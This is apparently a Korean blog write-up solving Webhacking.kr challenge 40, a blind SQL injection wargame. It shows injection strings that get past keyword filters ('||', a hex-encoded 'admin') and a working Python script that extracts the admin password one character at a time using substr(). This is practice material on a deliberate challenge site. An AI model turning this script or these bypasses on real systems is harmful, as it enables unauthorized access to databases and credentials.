화면이 no,id,pw로 구성되어 있다.

그냥 login을 눌렀더니 guest로 로그인이 되었다.

no를 2로 바꾸어 보니

로그인이 실패했다.

소스를 보니 처음에 적혀있던 pw는 guest였고

no,id,pw로 get방식으로 전송된다는 것을 알았다.

그래서 no=1&id=guest&pw=guest-- 을 넣었더니

뒤에 id와 pw가 달린다.

이렇게 넣어서 성공이 되는 것을 보니 쿼리문 순서가 id,pw,no인 것 같다. 그래서 no에 id를 넣어봤자 소용이 없었다.


그리고 access denied이 된다.

그리고 no=0을 넣으면 반응이 없다..

그리고 or는 안먹히는 것으로 봐서 or , and는 안먹히고 기호 &,|만 먹히는 것 같다.

요런 식으로

no=1=1또한 그냥 성공

id=guest=guest를 써서 여집합을 만들어 보려했으나 실패



substr을 써보니 이건 필터링이 안된다.

그래서 no=2||id=0x61646D696E를 넣어주면

새로운 화면이 나온다.

여기서  0x61646D696E는 admin을 hex한 것인데

admin은 안되어 넣어보았다.

그래서 length(pw)로 pw의 길이를 알아내고 난 후

import urllib.request

import re


if __name__ == "__main__":

    code = [num for num in range(33,65)]+[num for num in range(97,127)]+[num for num in range(91,97)]

    head = {'Cookie':'PHPSESSID=fd06535e7ec7b5532faa2a20b8444d6f'}

    for i in range(1,11):

        for j in code:

            req = urllib.request.Request("http://webhacking.kr/challenge/web/web-29/index.php?no=2||substr(pw,"+str(i)+",1)="+str(hex(j))+"&id=guest&pw=guest",headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("admin",data)

            if find:

                print(i,chr(j))

파이썬으로 돌려주면 

이렇게 답이 나온다.

이때 2번째는 guest의 u와 같아서 안나온다.

40번 클리어!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 56번  (0) 2018.01.17
Webhacking.kr 60번  (0) 2018.01.16
Webhacking.kr 41번  (0) 2018.01.15
Webhacking.kr 51번  (0) 2018.01.15
Webhacking.kr 61번  (0) 2018.01.12

+ Recent posts